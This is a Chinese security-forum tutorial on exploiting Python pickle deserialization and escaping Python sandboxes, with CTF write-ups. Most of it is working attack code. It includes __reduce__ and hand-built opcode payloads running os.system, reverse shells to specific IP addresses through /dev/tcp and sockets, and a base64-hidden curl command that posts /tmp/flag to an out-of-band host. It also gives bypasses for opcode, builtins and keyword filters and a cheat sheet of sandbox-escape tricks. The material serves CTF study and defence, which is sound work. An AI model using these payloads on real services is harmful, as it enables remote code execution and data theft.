抽象语法树在PVM中的应用,从Python沙箱逃逸看PICKLE操作码
1052606174783332 发表于 山东 WEB安全 369浏览 · 2024-10-29 07:55

方法

Pickle包含四种方法,具体如下所示

pickle.dump(obj, file)
//obj对象进行封存,即序列化,然后写入到file文件中
//:这里的file需要以wb打开(二进制可写模式)
pickle.load(file)
//file这个文件进行解封,即反序列化
//:这里的file需要以rb打开(二进制可读模式)
pickle.dumps(obj)
//obj对象进行封存,即序列化,然后将其作为bytes类型直接返回
pickle.loads(data)
//data解封,即进行反序列化
//:data要求为bytes-like object(字节类对象)

简单来说:

pickle.dumps()=>seriaize

pickle.loads()=>unserialize

pickletools工具使用

  • 使用pickletools可以方便的将opcode转化为便于肉眼读取的形式
import pickletools

data=b"\x80\x03cbuiltins\nexec\nq\x00X\x13\x00\x00\x00key1=b'1'\nkey2=b'2'q\x01\x85q\x02Rq\x03."
pickletools.dis(data)

常用opcode

在Python的pickle.py中,我们能够找到所有的opcode及其解释,常用的opcode如下,这里我们以V0版本为例


c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S'xxx'\n(也可以使用双引号、\'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新
  • c操作符会尝试import库,所以在pickle.loads时不需要漏洞代码中先引入系统库。
  • pickle不支持列表索引、字典索引、点号取对象属性作为左值,需要索引时只能先获取相应的函数(如list.index(3)getattrdict.get)才能进行。但是因为存在sub操作符,作为右值是可以的。即“查值不行,赋值可以”。pickle能够索引查值的操作只有ci。而如何查值也是CTF的一个重要考点。
  • sub操作符可以构造并赋值原来没有的属性、键值对。
  • t和(组合使用可以创建元组

全局变量覆盖&实例化对象

#secret.py
secret="123456"
import pickle
import secret

class A():
    def __init__(self,age,):
        self.age=age
        self.name = "m1xi@n"

#命令执行
opcode1=b'''cos
system
(S'whoami'
tR.
'''
#变量覆盖
opcode2=b'''c__main__
secret
(S'secret'
S'Polluted~'
db.
'''
#实例化对象
opcode3=b'''c__main__
A
(I18
tR.
'''


pickle.loads(opcode1)
print(pickle.loads(opcode2).secret)
print("name is "+str(pickle.loads(opcode3).name)+" and age is "+str(pickle.loads(opcode3).age))

命令执行绕过R指令

reduce方法(R)

reduce
调用:被定义之后,当对象被pickle时就会触发
作用:如果接收到的是字符串,就会把这个字符串当成一个全局变量的名称,然后Python查找它并进去pickle
如果接收到的是元组,这个元组应该包含2-6个元素,其中包括:一个可调用对象,用于创建对象,参数5元素,供对象调用

这里给出一个简单的demo

#encoding: utf-8
import os
import pickle
class tttang(object):
    def __reduce__(self):
        return (os.system,('whoami',))
a=tttang()
payload=pickle.dumps(a)
print(payload)
pickle.loads(payload)

可以看到成功执行命令

也可以反弹shell

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a="""
        python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("124.222.255.142",7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'"""
        return (os.system,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))

也可以用最简单的bash反弹

import pickle
import os

class tttang(object):
    def __reduce__(self):
        a='__import__(\"os\").popen(\'bash -c \"bash -i >& /dev/tcp/8.130.110.182/2333 0>&1\"\').read()'
        return (eval,(a,))

a = tttang()
pickle.loads(pickle.dumps(a))

R指令

b'''cos     =>  引入模块 os.
system      =>  引用 system, 并将其添加到 stack.
(S'whoami'  =>  把当前 stack 存到 metastack, 清空 stack, 再将 'whoami' 压入 stack.
t           =>  stack 中的值弹出并转为 tuple, 把 metastack 还原到 stack, 再将 tuple 压入 stack.
R           =>  system(*('whoami',)).
.'''        =>  结束并返回当前栈顶元素.


b'''cos   
system  
(S'whoami' 
t      
R   
.'''

i指令

先获取一个全局函数,然后取一个全局函数,寻找栈中的上一个mark,并组合之间的数据为元组作为参数执行全局函数

b'''(S'whoami'
ios
system
.'''

o指令

寻找上一个MARK,以之间的第一个数据为callable(可调用函数),第二个到第n个数据为参数,执行该函数(或实例化一个对象)

b'''(cos
system
S'whoami'
o.'''

b指令

BUILD          = b'b'   # call __setstate__ or __dict__.update()

其实就是设置或者更新键值对的操作

将字典{"__setstate__":os.system},压入栈中,并执行b操作码,,由于此时并没有__setstate__,所以这里b操作码相当于执行了__dict__.update,向对象的属性字典中添加了一对新的键值对。如果我们继续向栈中压入命令command,再次执行b操作码时,由于已经有了__setstate__,所以会将栈中操作码b的前一个元素当作state,执行__setstate__(state),也就是os.system(command)

Payload

import pickle
import secret
import pickletools


class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category

    def __eq__(self, other):
        return type(other) is Animal and self.name == other.name and self.category == other.category


def check(data):
    if b'R' in data:
        return 'no reduce!'
    x = pickle.loads(data)
    if (x != Animal(secret.name, secret.age)):
        print('not equal')
        return
    print('well done! {} {}'.format(secret.name, secret.age))


opcode = b'''(c__main__
Animal
S'Casual'
I18
o}(S"__setstate__"
cos
system
ubS"whoami"
b.'''
check(opcode)
pickletools.dis(opcode)

这里用o不用R是因为R 指令的存在,代码在调用 pickle.loads(data) 进行反序列化时不会创建新的 Animal 实例,而是重用先前创建的对象,这在某些情况下可能导致反序列化的结果不如预期。

\x81

r = map(eval,['print("1")'])
print(r)
r.__next__()

m = filter(eval,['print("2")'])
m.__next__()
######################
<map object at 0x0000025653331690>
1
2

我们现在想要构造一个能够被调用的 pickle 反序列化的 payload 的时候,触发的方式就不能是再在后面拼接 __next__() 了,我们需要找一个能够触发 PyIter_Next 的方法,触发PyIter_Next就能触发next():

bytes.__new__(bytes, map.__new__(map, eval, ['print(1)']))  # bytes_new->PyBytes_FromObject->_PyBytes_FromIterator->PyIter_Next
tuple.__new__(tuple, map.__new__(map, exec, ["print('1')"]))  # tuple_new_impl->PySequence_Tuple->PyIter_Next

opcode

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
tuple
p4
(g3
t\x81.'''

pickle.loads(opcode)

opcode=b'''c__builtin__
map
p0
0(S'whoami'
tp1
0(cos
system
g1
tp2
0g0
g2
\x81p3
0c__builtin__
bytes
p4
(g3
t\x81.'''

pickle.loads(opcode)

用到的核心其实就是

NEWOBJ         = b'\x81'  # build object by applying cls.__new__ to argtuple

绕过builtins

思路一:getattr拿get,从globals字典里拿builtins

if module == "builtins" and name in safe_builtins:
            return getattr(builtins, name)

获取所有内置模块

for i in sys.modules['builtins'].__dict__:print(i)

里面有getattr,getattr又可以获取builtins里的所有内置模块

print(builtins.getattr(builtins,'eval'))
#<built-in function eval>

但是getattr里的builtins我们还需要构造出来

print(getattr(builtins,'globals')())
#{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x000001539169BFE0>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D:\\111_pythonstudy\\pickle反序列化\\pker\\test.py', '__cached__': None, 'builtins': <module 'builtins' (built-in)>, 'pickle': <module 'pickle' from 'D:\\python3.11.2\\Lib\\pickle.py'>, 'secret': <module 'secret' from 'D:\\111_pythonstudy\\pickle反序列化\\pker\\secret.py'>, 'sys': <module 'sys' (built-in)>, 'i': 'help'}

可见globals里还有builtins,然后globals返回的还是个字典builtins.globals(),由于pickle不支持索引,还需要用dict.get()获取

builtins.getattr(builtins.dict,'get')
#<method 'get' of 'dict' objects>
(builtins.globals()))

总结:

print(builtins.getattr(builtins,'eval'))  基础形态,getattr第一个参数builtins不能直接用
可以在globals列表里获取builtins:dict.get(builtins.globals(),"builtins"),'eval')
print(builtins.getattr(dict.get(builtins.globals(),"builtins"),'eval')) 替换builtins
dict.get需要获取:builtins.getattr(builtins.dict,"get")  
最终payload:
print(builtins.getattr(builtins.getattr(builtins.dict,"get")(builtins.globals(),"builtins"),'eval'))

然后就是写opcode

我们从内往外写

获取get
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR.
'''

pickletools.dis(opcode)
result = print(pickle.loads(opcode))
######
<method 'get' of 'dict' objects>

获取globals字典

opcode=b'''cbuiltins
globals
)R.
'''

pickletools.dis(opcode)
result = print(pickle.loads(opcode))
print(result)

或者只用t也行

opcode=b'''cbuiltins
globals
(tR.
'''
pickletools.dis(opcode)
result = print(pickle.loads(opcode))
print(result)

获取builtins模块(组合get和globals)

opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tR.
'''

然后获取builtins里的eval

opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR.
'''

最后执行

opcode=b'''cbuiltins
getattr
(cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
)RS'__builtins__'
tRS'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''
pickletools.dis(opcode)
result = pickle.loads(opcode)
###########
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins getattr'
   37: (        MARK
   38: c            GLOBAL     'builtins dict'
   53: S            STRING     'get'
   60: t            TUPLE      (MARK at 37)
   61: R        REDUCE
   62: (        MARK
   63: c            GLOBAL     'builtins globals'
   81: )            EMPTY_TUPLE
   82: R            REDUCE
   83: S            STRING     'builtins'
   95: t            TUPLE      (MARK at 62)
   96: R        REDUCE
   97: S        STRING     'eval'
  105: t        TUPLE      (MARK at 18)
  106: R    REDUCE
  107: (    MARK
  108: S        STRING     '__import__("os").system("whoami")'
  145: t        TUPLE      (MARK at 107)
  146: R    REDUCE
  147: .    STOP
highest protocol among opcodes = 1
mixian\20778


也可以使用p和g使opcode更简洁
opcode=b'''cbuiltins
getattr
(cbuiltins
dict
S'get'
tR(cbuiltins
globals
(tRS'__builtins__'
tRp1
cbuiltins
getattr
(g1
S'eval'
tR(S'__import__("os").system("whoami")'
tR.'''

思路二:直接用getattribute拿eval

print(builtins.__getattribute__)
print(builtins.__getattribute__('eval'))
builtins.__getattribute__('eval')('__import__(\'os\').system(\'whoami\')')
#########################################################################
<method-wrapper '__getattribute__' of module object at 0x000001BAA8805AD0>
<built-in function eval>
mixian\20778

写opcode

opcode=b'''cbuiltins
__getattribute__
(S'eval'
tR(S'__import__("os").system("whoami")'
tR.
'''

pickletools.dis(opcode)
result = pickle.loads(opcode)
######################################
    0: c    GLOBAL     'builtins __getattribute__'
   27: (    MARK
   28: S        STRING     'eval'
   36: t        TUPLE      (MARK at 27)
   37: R    REDUCE
   38: (    MARK
   39: S        STRING     '__import__("os").system("whoami")'
   76: t        TUPLE      (MARK at 38)
   77: R    REDUCE
   78: .    STOP
highest protocol among opcodes = 0
mixian\20778

无法直接获取builtins原因

这里说一下为什么print(builtins.getattr(builtins,'eval'))这里面的builtins为什么我们直接拿不到

opcode=b'''cbuiltins
getattr
(cbuiltins
eval
tR.
'''
pickletools.dis(opcode)
result = print(pickle.loads(opcode))
print(result)
################################
    0: c    GLOBAL     'builtins getattr'
   18: (    MARK
   19: c        GLOBAL     'builtins eval'
   34: t        TUPLE      (MARK at 18)
   35: R    REDUCE
   36: .    STOP
highest protocol among opcodes = 0
Traceback (most recent call last):
  File "D:\111_pythonstudy\pickle反序列化\pker\test.py", line 31, in <module>
    result = print(pickle.loads(opcode))
                   ^^^^^^^^^^^^^^^^^^^^
TypeError: getattr expected at least 2 arguments, got 1

主要就是因为opcode里导入操作符只有c和i,c是导入模块的属性,i是导入模块的方法,但是做不到仅导入模块

绕过关键词过滤

BlackList = [b'\x00', b'\x1e', b'system', b'popen', b'os', b'sys', b'posix']

system可以用eval,exec代替

其实大部分是os,然后就是subprocess和commands.getoutput('whoami')
commands.getstatusoutput('whoami')和pty.spawn('whoami')

这里就可以用pty.spawn('whoami')绕过,不过spawn和exec一样无回显,出网的话可以反弹shell和dnslog数据外带

手搓一下opcode,用pyt必须在linux环境下

opcode='''cbuiltins
eval
(S'__import__("pyt").spawn('whoami')'
tR.'''

反弹shell:

import pickle
import pickletools

opcode=b'''c__builtin__
eval
(S'__import__("pty").spawn([\'bash\',\'-c\',\'bash -i >& /dev/tcp/175.27.229.115/2333 0>&1\'])'
tR.
'''

pickletools.dis(opcode)
result = pickle.loads(opcode)
print(result)

预期解(数据外带):curl -X POST http://ih35a3ca4gdnzzadidp50l7ksby2msah.oastify.com -d $(cat /tmp/flag)

import base64
opcode='''(cbuiltins
eval
S'__import__(\'pty\').spawn([\'bash\',\'-c\',\'echo
Y3VybCAtWCBQT1NUIGh0dHA6Ly9paDM1YTNjYTRnZG56emFkaWRwNTBsN2tzYnkybXNhaC5vYXN0aWZ
5LmNvbSAtZCAkKGNhdCAvdG1wL2ZsYWcp|base64 -d|bash\'])'
o.'''.encode()
print(base64.b64encode(opcode).decode())

Pker的使用

对于很长的opcode,Pker就能派上用场了,Powershell用不了,windows需要用cmd,

D:\111_pythonstudy\pickle反序列化\pker>cmd
Microsoft Windows [版本 10.0.22631.4317]
(c) Microsoft Corporation。保留所有权利。
D:\111_pythonstudy\pickle反序列化\pker>python3 pker.py <a
D:\111_pythonstudy\pickle反序列化\pker\pker.py:11: DeprecationWarning: ast.Num is deprecated and will be removed in Python 3.14; use ast.Constant instead
  if isinstance(v, ast.Num):
D:\111_pythonstudy\pickle反序列化\pker\pker.py:13: DeprecationWarning: ast.Str is deprecated and will be removed in Python 3.14; use ast.Constant instead
  elif isinstance(v, ast.Str):
D:\111_pythonstudy\pickle反序列化\pker\pker.py:14: DeprecationWarning: Attribute s is deprecated and will be removed in Python 3.14; use value instead
  return v.s
b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("whoami")\'\ntR.'

那我们的builtins的绕过说

#编写a.py
import builtins

# print(builtins.getattr(builtins,'eval'))
#
#
# print(builtins.dict.get(builtins.globals(),'__builtins__'))


getattr = GLOBAL('builtins','getattr')

dict = GLOBAL('builtins','dict')

get = getattr(dict,'get')

globals = GLOBAL('builtins','globals')

globals_ = globals()

builtins = get(globals_,'__builtins__')

eval = getattr(builtins,'eval')

eval('__import__("os").system("whoami")')

return

然后pickle.loads()

出错的概率变低很多,这里只用到了GLOBAL,其实还有INST、OBJ,INST对应b'i',OBJ对应b'o'

以下module都可以是包含`.`的子module
调用函数时,注意传入的参数类型要和示例一致
对应的opcode会被生成,但并不与pker代码相互等价

GLOBAL
对应opcode:b'c'
获取module下的一个全局对象(没有import的也可以,比如下面的os):
GLOBAL('os', 'system')
输入:module,instance(callable、module都是instance)  

INST
对应opcode:b'i'
建立并入栈一个对象(可以执行一个函数):
INST('os', 'system', 'ls')  
输入:module,callable,para 

OBJ
对应opcode:b'o'
建立并入栈一个对象(传入的第一个参数为callable,可以执行一个函数)):
OBJ(GLOBAL('os', 'system'), 'ls') 
输入:callable,para

xxx(xx,...)
对应opcode:b'R'
使用参数xx调用函数xxx(先将函数入栈,再将参数入栈并调用)

li[0]=321

globals_dic['local_var']='hello'
对应opcode:b's'
更新列表或字典的某项的值

xx.attr=123
对应opcode:b'b'
对xx对象进行属性设置

return
对应opcode:b'0'
出栈(作为pickle.loads函数的返回值):
return xxx # 注意,一次只能返回一个对象或不返回对象(就算用逗号隔开,最后也只返回一个元组)

Pker:全局变量覆盖

覆盖直接由执行文件引入的secret模块中的name与category变量:
secret=GLOBAL('__main__', 'secret') 
# python的执行文件被解析为__main__对象,secret在该对象从属下
secret.name='1'
secret.category='2'

Pker:命令执行

通过b'R'调用:
s='whoami'
system = GLOBAL('os', 'system')
system(s) # `b'R'`调用
return

通过b'i'调用:
INST('os', 'system', 'whoami')

通过b'c'与b'o'调用:
OBJ(GLOBAL('os', 'system'), 'whoami')

多参数调用函数
INST('[module]', '[callable]'[, par0,par1...])
OBJ(GLOBAL('[module]', '[callable]')[, par0,par1...])

pker:实例化对象

INST(Instantiation)实例化,既然叫这个名字,当然可以用于实例化对象

#test.py
class Animal:
    def __init__(self, name, category):
        self.name = name
        self.category = category


animal = INST('__main__', 'Animal','1','2')
return animal
# 或者
animal = OBJ(GLOBAL('__main__', 'Animal'), '1','2')
return animal


也可以先实例化再赋值,这里可以把INST完全看成是实例化:
animal = INST('__main__', 'Animal')
animal.name='1'
animal.category='2'
return animal

Pker进阶

HZNUCTF ezpickle--R操作码命令执行

import base64 
import pickle 
from flask import Flask, request 
app = Flask(__name__)
@app.route('/')
    def index():
        with open('app.py', 'r') as f:
            return f.read() 
@app.route('/calc', methods=['GET'])
def getFlag():
    payload = request.args.get("payload") 
    pickle.loads(base64.b64decode(payload).replace(b'os', b''))
    return "ganbadie!"
@app.route('/readFile', methods=['GET']) 
def readFile():
    filename = request.args.get('filename').replace("flag", "????")
    with open(filename, 'r') as f:
        return f.read()
if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

可以看到明显的反序列化标志,os替换为空可以双写绕过
无回显,且不出网,将输出写到文件,通过readFile路由读取

exp:

import pickle
from base64 import *

class a(object):
    def __reduce__(self):
        return eval,("__import__('os').system('env|tee 1.txt')",)
a=a()
print(b64encode(pickle.dumps(a).replace(b'os',b'ooss')))
#gASVRAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwoX19pbXBvcnRfXygnb29zcycpLnN5c3RlbSgnZW52fHRlZSAxLnR4dCcplIWUUpQu
5
/calc?payload=
gASVRAAAAAAAAACMCGJ1aWx0aW5zlIwEZXZhbJSTlIwoX19pbXBvcnRfXygnb29zcycpLnN5c3RlbSgnZW52fHRlZSAxLnR4dCcplIWUUpQu

/readFile?filename=1.txt

Pker

system=GLOBAL('builtins', 'eval')
system('__import__("ooss").system("env|tee 1.txt")')
return

[MTCTF 2022]easypickle--session伪造,手搓opcode

题目给了源码:

import base64
import pickle
from flask import Flask, session
import os
import random

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(2).hex()

@app.route('/')
def hello_world():
    if not session.get('user'):
        session['user'] = ''.join(random.choices("admin", k=5))
    return 'Hello {}!'.format(session['user'])


@app.route('/admin')
def admin():
    if session.get('user') != "admin":
        return f"<script>alert('Access Denied');window.location.href='/'</script>"
    else:
        try:
            a = base64.b64decode(session.get('ser_data')).replace(b"builtin", b"BuIltIn").replace(b"os", b"Os").replace(b"bytes", b"Bytes")
            if b'R' in a or b'i' in a or b'o' in a or b'b' in a:
                raise pickle.UnpicklingError("R i o b is forbidden")
            pickle.loads(base64.b64decode(session.get('ser_data')))
            return "ok"
        except:
            return "error!"


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8888)

密钥为随机值,根目录路由检查是否存在user这个键名{'user':''}

/admin路由检查user键名的值是不是admin {'user':'admin'}

如果是的话,把opcode进行替换操作,并且过滤掉了R i o b,然后反序列化

这里要先把secret-key爆破出来,flask_unsign爆破

然后通过flask_session_cookie_manager来伪造session

python3 flask_session_cookie_manager3.py encode -s'444f' -t "{'user':'admin'}"

至此成功把cookie伪造成了admin,接下来就可以进行反序列化的操作了但是过滤了R i o b,只能手搓opcode了

对于反序列化可以选择:

  • 命令执行(需要有回显)
  • 反弹shell
  • curl数据外带

但是这里有逻辑漏洞,其实waf一点用都没有,waf的是a,反序列化的是ser_data

我们只需要替换后绕过waf就好了,替换操作将os替换为Os,这就为我们放出来了o操作码,o操作码和s操作码都不需要换行所以我们将o操作码和s操作码连起来就可以绕过

先看一下s操作码的作用

向字典中添加'key3':'var3'键值对
opcode=b'''(S'key1'
S'var1'
S'key2'
S'var2'
dS'key3'
S'var3'
s.
'''
result = pickle.loads(opcode)
print(result)
###########################################
{'key1': 'var1', 'key2': 'var2', 'key3': 'var3'}


也可以更改字典中的键值对
opcode=b'''(S'key1'
S'var1'
S'key2'
S'var2'
dS'key2'
S'var3'
s.
'''
result = pickle.loads(opcode)
print(result)
###########################################
{'key1': 'var1', 'key2': 'var3'}

所以我们需要先用b生成一个字典,然后再压入一个新的key-value对,我们的命令执行就作为value值压入栈中

opcode=b'''(S'key1'
S'var1'
S'key2'
S'var2'
dS'key2'
(cos
system
S'whoami'
os.
'''
############
mixian\20778
{'key1': 'var1', 'key2': 0}

然后我们使用V进行unicode绕过,V不需要加引号

command = "bash -c 'sh -i >& /dev/tcp/ip/2333 0>&1'"
unicode_encoded = ''.join(f'\\u{ord(c):04x}' for c in command)
print(unicode_encoded)

BalsnCTF:pyshv1

题目不允许存在'.',也就是不能存在二级模块,并且只允许使用sys模块。意味着我们没法进行sys.modules.get('os')的操作

我们利用sys.modules字典里存在modules本身的特性

所以将sys.modules['sys']=sys.modules,这样的话sys直接就是sys.modules了,我们就可以

获取sys.modules里的对象了,最终目标是获取modules字典里的os模块,需要先拿get函数

sys.modules.get('os').system('whoami')

这里使用sys.modules['sys']=sys.modules将sys.modules用sys代替,然后用sys.modules['sys']=sys.get('os')将sys.modules.get('os')用sys代替

最后执行sys.system('whoami')就行了

modules = GLOBAL('sys','modules')
modules['sys'] = modules
get = GLOBAL('sys','get')
os = get('os')
modules['sys'] = os
system = GLOBAL('sys','system')
system('whoami')
return

BalsnCTF:pyshv2

还是变量名里不能有'.',并且限制只能使用structs模块,并且structs模块是个空模块

class RestrictedUnpickler(pickle.Unpickler):
    def find_class(self, module, name):
        if module not in whitelist or '.' in name:
            raise KeyError('The pickle is spoilt :(')
        module = __import__(module) # 注意这里调用了__import__
        return getattr(module, name)

这里调用了import,正常find_class函数(c操作码)

这是官方文档里的find_class

def find_class(self, module, name):
        # Subclasses may override this.
        sys.audit('pickle.find_class', module, name)
        if self.proto < 3 and self.fix_imports:
            if (module, name) in _compat_pickle.NAME_MAPPING:
                module, name = _compat_pickle.NAME_MAPPING[(module, name)]
            elif module in _compat_pickle.IMPORT_MAPPING:
                module = _compat_pickle.IMPORT_MAPPING[module]
        __import__(module, level=0)
        if self.proto >= 4:
            return _getattribute(sys.modules[module], name)[0]
        else:
            return getattr(sys.modules[module], name)

题目里对module未做任何限制直接import(module)了,我们思路即使劫持importstructs.__getattribute__,然后我们cstructs/nxxx的时候就会是structs.__getattribute__(structs).xxx

利用structs.__dict__structs赋值新属性structs.structsstructs.__builtins__

然后xxx就当然是get,get取出builtins字典里的eval

__dict__ = GLOBAL('structs', '__dict__') # structs的属性dict
__builtins__ = GLOBAL('structs', '__builtins__') # 内建函数dict
gtat = GLOBAL('structs', '__getattribute__') # 获取structs.__getattribute__
__builtins__['__import__'] = gtat # 劫持__import__函数
__dict__['structs'] = __builtins__ # 把structs.structs属性赋值为__builtins__
builtin_get = GLOBAL('structs', 'get') # structs.__getattribute__('structs').get
eval = builtin_get('eval') # structs.structs['eval'](即__builtins__['eval']
eval('print(123)')
return

Python沙箱逃逸

在SSTI和原型链污染中其实已经接触很多了,

花式命令执行

os.system('whoami')
os.popen('whoami').read()
# Python2
os.popen2('whoami').read()
os.popen3('whoami').read()
...

subprocess.call('whoami', shell=True)
subprocess.check_call('whoami', shell=True)
subprocess.check_output('whoami', shell=True)
subprocess.Popen('whoami', shell=True)
# Python3
subprocess.run('whoami', shell=True)
subprocess.getoutput('whoami')
subprocess.getstatusoutput('whoami')

platform.popen('whoami').read()

# Python2
commands.getoutput('whoami')
commands.getstatusoutput('whoami')

# Python2
warnings.linecache.os.system("whoami")

timeit.timeit("__import__('os').system('whoami')", number=1)

bdb.os.system('whoami')

cgi.os.system('whoami')

importlib.import_module('os').system('whoami')
# Python3
importlib.__import__('os').system('whoami')

pickle.loads(b"cos\nsystem\n(S'whoami'\ntR.")

eval("__import__('os').system('whoami')")
exec("__import__('os').system('whoami')")
exec(compile("__import__('os').system('whoami')", '', 'exec'))

# Linux
pty.spawn('whoami')
pty.os.system('whoami')

# 文件操作
open('.bash_history').read()
linecache.getlines('.bash_history')
codecs.open('.bash_history').read()
# Python2
file('.bash_history').read()
types.FileType('.bash_history').read()
commands.getstatus('.bash_history')

# 函数参数
foo.__code__.co_argcount
# Python2
foo.func_code.co_argcount

# 函数字节码
foo.__code__.co_code
# Python2
foo.func_code.co_code

...

getattr(os, 'metsys'[::-1])('whoami')
getattr(getattr(__builtins__, '__tropmi__'[::-1])('so'[::-1]), 'metsys'[::-1])('whoami')

file对象读取敏感文件

object.__subclasses__()[40]('.bash_history').read()
###<built-in method read of file object at 0x10397a5d0>
"".__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read()

关键词过滤

# 拼接
"__im"+"port__('o"+"s').sy"+"stem('who"+"ami')"
# 编码
eval(chr(95)+chr(95)+chr(105)+chr(109)+chr(112)+chr(111)+chr(114)+chr(116)+chr(95)+chr(95)+chr(40)+chr(39)+chr(111)+chr(115)+chr(39)+chr(41)+chr(46)+chr(115)+chr(121)+chr(115)+chr(116)+chr(101)+chr(109)+chr(40)+chr(39)+chr(119)+chr(104)+chr(111)+chr(97)+chr(109)+chr(105)+chr(39)+chr(41))
# 倒序
")'imaohw'(metsys.)'so'(__tropmi__"[::-1]
# 属性访问拦截器__getattribute__ + 拼接
().__class__.__mro__[-1].__subclasses__()[59].__init__.func_globals["linecache"].__dict__['o'+'s'].__dict__['system']('ls')
().__class__.__mro__[-1].__subclasses__()[59].__init__.__getattribute__('func_global'+'s')["linecache"].__dict__['o'+'s'].__dict__['system']('l'+'s') # globals被过滤

中括号过滤

# [].__class__.__bases__[0].__subclasses__()[37]
# 将[]的功能用pop,__getitem__代替(实际上a[0]就是在内部调用了a.__getitem__(0))
().__class__.__bases__.__getitem__(0).__subclasses__().pop(37)
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(37)

点号过滤

getattr(getattr(getattr(getattr(getattr((),'__class__'),'__bases__'),'__getitem__')(0),'__subclasses__')(),'pop')(37)

下划线过滤

# _可以用dir(0)[0][0]代替
getattr(getattr(getattr(getattr(getattr((),dir(0)[0][0]*2+'class'+dir(0)[0][0]*2),dir(0)[0][0]*2+'bases'+dir(0)[0][0]*2),dir(0)[0][0]*2+'getitem'+dir(0)[0][0]*2)(0),dir(0)[0][0]*2+'subclasses'+dir(0)[0][0]*2)(),'pop')(37)

参考

https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20200328-pickle.html#pker%E4%BD%BF%E7%94%A8%E8%AF%B4%E6%98%8E

https://ucasers.cn/python%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B8%8E%E6%B2%99%E7%AE%B1%E9%80%83%E9%80%B8/#title-29

https://ctftime.org/writeup/16723

https://goodapple.top/archives/1069

0 条评论
某人
表情
可输入 255